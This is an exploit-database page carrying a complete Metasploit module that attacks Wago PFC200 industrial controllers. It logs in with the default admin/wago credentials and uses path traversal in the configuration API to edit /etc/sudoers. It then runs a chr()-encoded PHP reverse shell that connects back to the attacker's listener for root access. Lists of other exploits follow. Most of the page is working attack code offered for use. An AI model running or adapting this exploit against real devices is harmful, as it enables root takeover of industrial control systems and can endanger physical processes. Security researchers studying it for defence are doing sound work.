Menu

Search for hundreds of thousands of exploits

"Wago PFC200 - Authenticated Remote Code Execution (Metasploit)"

Author

Exploit author

0x483d

Platform

Exploit platform

hardware

Release date

Exploit published date

2020-02-05

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# Exploit Title: Wago PFC200 - Authenticated Remote Code Execution (Metasploit)
# Date: 2020-02-05
# Exploit Author: Nico Jansen (0x483d)
# Vendor Homepage: https://www.wago.com/
# Version: <= Firmare 11 (02_08_35)
# Tested on: Linux
# CVE : N/A

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'

class MetasploitModule < Msf::Exploit::Remote
  #Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Wago PFC200 authenticated remote code execution',
      'Description' => %q{
        The Wago PFC200 (up to incl. Firmware 11 02_08_35) is vulnerable to an authenticated remote code execution in the
        administrative web interface. By exploiting the vulnerability, an attacker is able to run system commands in root context.
        To execute this module, login credenials of the website administrator are required (default: admin/wago).
        This module was tested against a Wago 750-8202 Firmware 11 (02_08_35) but other PFC200 models may be affected as well.
      },
      'Author' =>
        [
          'Nico Jansen (0x483d)' # Vulnerability discovery and MSF module
        ],
      'License' => MSF_LICENSE,
      'Platform' => 'php',
      'References' =>
        [
          ['CVE', '-'],
          ['US-CERT-VU', '-'],
          ['URL', '-'],
          ['URL', '-']
        ],
      'DisclosureDate' => 'Aug 1 2018',
      'Privileged' => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'php/meterpreter/reverse_tcp',
        'SSL' => true,
      },
      'Targets' => [
        ['Automatic', {}]
      ],
      'DefaultTarget'   => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('ADMINPASSWORD', [true, 'Password to authenticate as admin', 'wago']),
        ])

        deregister_options('VHOST')
  end

  # This function checks the index page to check if it may be a valid device.
  # There are some more checks done after an successful authentication
  def check
    @csrf=""
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/wbm/index.php'
    )

    if res && res.code == 200 && res.body.to_s =~ /WAGO Ethernet Web-based Management/
      result = sendConfigToolMessage("get_typelabel_value", ["SYSDESC"])
      if result and result =~ /PFC200/
        # Get Version and check if it's <= 11
        result = sendConfigToolMessage("get_coupler_details", ["firmware-revision"])
        result = result.split('(')[1]
        result = result.split(')')[0]
        if Integer(result) <= 11
          return Exploit::CheckCode::Vulnerable
        else
          return Exploit::CheckCode::Safe
        end
      end
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Safe
  end

  # This function authenticates the adminuser against the Wago PLC
  def login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/wbm/login.php',
      'data' => '{"username":"admin","password":"' + datastore['ADMINPASSWORD'] + '"}'
    )
    if res.code != 200
      return false
    end

    parsed_json = JSON.parse(res.body.to_s)
    if parsed_json["status"] == 0
      @cookie = res.get_cookies
      @csrf = parsed_json["csrfToken"]
      return true
    else
      return false
    end
  end

  # This function can be used to execute arbitary commands after login
  def sendConfigToolMessage(scriptname, parameters, expectResponse=true)
    parameterString = ''
    for param in parameters
      parameterString = parameterString + '"' + param + '", '
    end

    parameterString = parameterString[0...-2]
    request ='{"csrfToken":"' + @csrf + '",'\
      '"renewSession":true,"aDeviceParams":{"0"'\
      ':{"name":"' + scriptname + '","parameter":['\
      + parameterString + '],"sudo":true,"multiline":false,'\
      '"timeout":12000,"dataId":0}}}'

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/wbm/configtools.php',
      'data' => request,
      'cookie' => @cookie,
    )
    # After exploitation, there is no response, so just return true because the message was sent
    if expectResponse == false
      return true
    end

    parsed_json = JSON.parse(res.body.to_s)
    @csrf = parsed_json["csrfToken"]
    if parsed_json["aDeviceResponse"][0]["status"] == 0
      return parsed_json["aDeviceResponse"][0]["resultString"]
    else
      return false
    end
  end

  # This function is used to enable php execution in sudoers file using sed
  def change_sudo_permissions()
    return sendConfigToolMessage('/../../../usr/bin/sed',["-i", "s/NOPASSWD:/NOPASSWD:ALL#/", "/etc/sudoers"])
  end

  # Encode a given string to bypass validation
  def encode(content)
    result = ""
    content.split("").each do |i|
      result = result + "chr(" + (i.ord).to_s + ")."
    end
    result = result[0...-1]
    return result
  end

  # This function generates the required payload used to connect to the msf listener
  def send_payload()
    meterpreter_reverse_php='exec("/usr/bin/sed -i \'s/NOPASSWD:ALL#/NOPASSWD:/\' \'/etc/sudoers\'"); $ip = "' + datastore['LHOST'] + '"; $port = ' + datastore['LPORT'].to_s + '; '\
    'if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); '\
    '$s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port);'\
    ' $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) '\
    '{ $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) '\
    '{ die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } '\
    'if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; '\
    'case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len);'\
    ' $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= '\
    'fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } '\
    '$GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") '\
    '&& ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } '\
    'else { eval($b); } die(); ?>'

    command = "eval(" + encode(meterpreter_reverse_php) + ");"
    return sendConfigToolMessage("/../../../usr/bin/php5", ["-r", command], false)
  end

  def exploit
    if check == Exploit::CheckCode::Vulnerable # Check if the system may be a PFC200
      print_good("Target seems to be a vulnerable PFC200 device")
      if login # Try to authenticate using the given credentials
        print_good("Successfully logged in as website admin")
        if change_sudo_permissions()
          print_good("Manipulated the /etc/sudoers file to enable php execution as root")
          print_good("Preparing meterpreter payload and undoing changes to /etc/sudoers...")
          send_payload()
        else
          print_error("Unable to modify the /etc/sudoers file...")
        end
      else
        print_error("Unable to login as admin with the given credentials...")
      end
    else
      print_error("Target is not a valid PFC200 device. Will exit now...")
    end
  end
end
Release DateTitleTypePlatformAuthor
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-24"UliCMS 2020.1 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-24"Wordpress Plugin WPForms 1.5.8.2 - Persistent Cross-Site Scripting"webappsphp"Jinson Varghese Behanan"
2020-03-24"Veyon 4.3.4 - 'VeyonService' Unquoted Service Path"localwindows"Víctor García"
2020-03-24"UCM6202 1.0.18.13 - Remote Command Injection"webappshardware"Jacob Baines"
2020-03-23"ProficySCADA for iOS 5.0.25920 - 'Password' Denial of Service (PoC)"dosios"Ivan Marmolejo"
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-03-23"Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection"webappsphpqw3rTyTy
2020-03-23"rConfig 3.9.4 - 'search.crud.php' Remote Command Injection"webappsphp"Matthew Aberegg"
2020-03-23"Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)"doswindows"Cem Onat Karagun"
2020-03-23"CyberArk PSMP 10.9.1 - Policy Restriction Bypass"remotemultiple"LAHBAL Said"
2020-03-20"VMware Fusion 11.5.2 - Privilege Escalation"localmacos"Rich Mirch"
2020-03-20"Exagate Sysguard 6001 - Cross-Site Request Forgery (Add Admin)"webappsphp"Metin Yunus Kandemir"
Release DateTitleTypePlatformAuthor
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-24"UCM6202 1.0.18.13 - Remote Command Injection"webappshardware"Jacob Baines"
2020-03-18"Netlink GPON Router 1.0.11 - Remote Code Execution"webappshardwareshellord
2020-03-18"Microtik SSH Daemon 6.44.3 - Denial of Service (PoC)"remotehardwareFarazPajohan
2020-03-13"Drobo 5N2 4.1.1 - Remote Command Injection"remotehardware"Ian Sindermann"
2020-03-03"RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection"webappshardware"Olga Villagran"
2020-03-03"RICOH Aficio SP 5200S Printer - 'entryNameIn' HTML Injection"webappshardware"Paulina Girón"
2020-03-02"TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)"webappshardware"Elber Tavares"
2020-03-02"TP LINK TL-WR849N - Remote Code Execution"webappshardware"Elber Tavares"
2020-03-02"Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload)"webappshardware"Elber Tavares"
2020-03-02"Netis WF2419 2.2.36123 - Remote Code Execution"webappshardware"Elias Issa"
2020-02-27"Comtrend VR-3033 - Command Injection"webappshardware"Raki Ben Hamouda"
2020-02-24"Aptina AR0130 960P 1.3MP Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"SecuSTATION IPCAM-130 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"SecuSTATION SC-831 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"ESCAM QD-900 WIFI HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting"webappshardware"Scott Goodwin"
2020-02-24"I6032B-P POE 2.0MP Outdoor Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-19"DBPower C300 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-19"Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak"webappshardwarebyteGoblin
2020-02-17"Avaya Aura Communication Manager 5.2 - Remote Code Execution"webappshardware"Sarang Tumne"
2020-02-05"Wago PFC200 - Authenticated Remote Code Execution (Metasploit)"webappshardware0x483d
2020-02-05"HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account"remotehardwareSnawoot
2020-02-03"Schneider Electric U.Motion Builder 1.3.4 - Authenticated Command Injection"webappshardware"Cosmin Craciun"
2020-01-29"Satellian 1.12 - Remote Code Execution"webappshardwareXh4H
2020-01-29"Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2020-01-24"Genexis Platinum-4410 2.1 - Authentication Bypass"webappshardware"Husinul Sanub"
2020-01-24"TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot"webappshardwarePCEumel
2020-01-15"Sagemcom [email protected] 3890 (50_10_19-T1) Cable Modem - 'Cable Haunt' Remote Code Execution"remotehardwareLyrebirds
2020-01-15"Huawei HG255 - Directory Traversal ( Metasploit )"webappshardware"Ismail Tasdelen"
Release DateTitleTypePlatformAuthor
2020-02-05"Wago PFC200 - Authenticated Remote Code Execution (Metasploit)"webappshardware0x483d
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47998/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse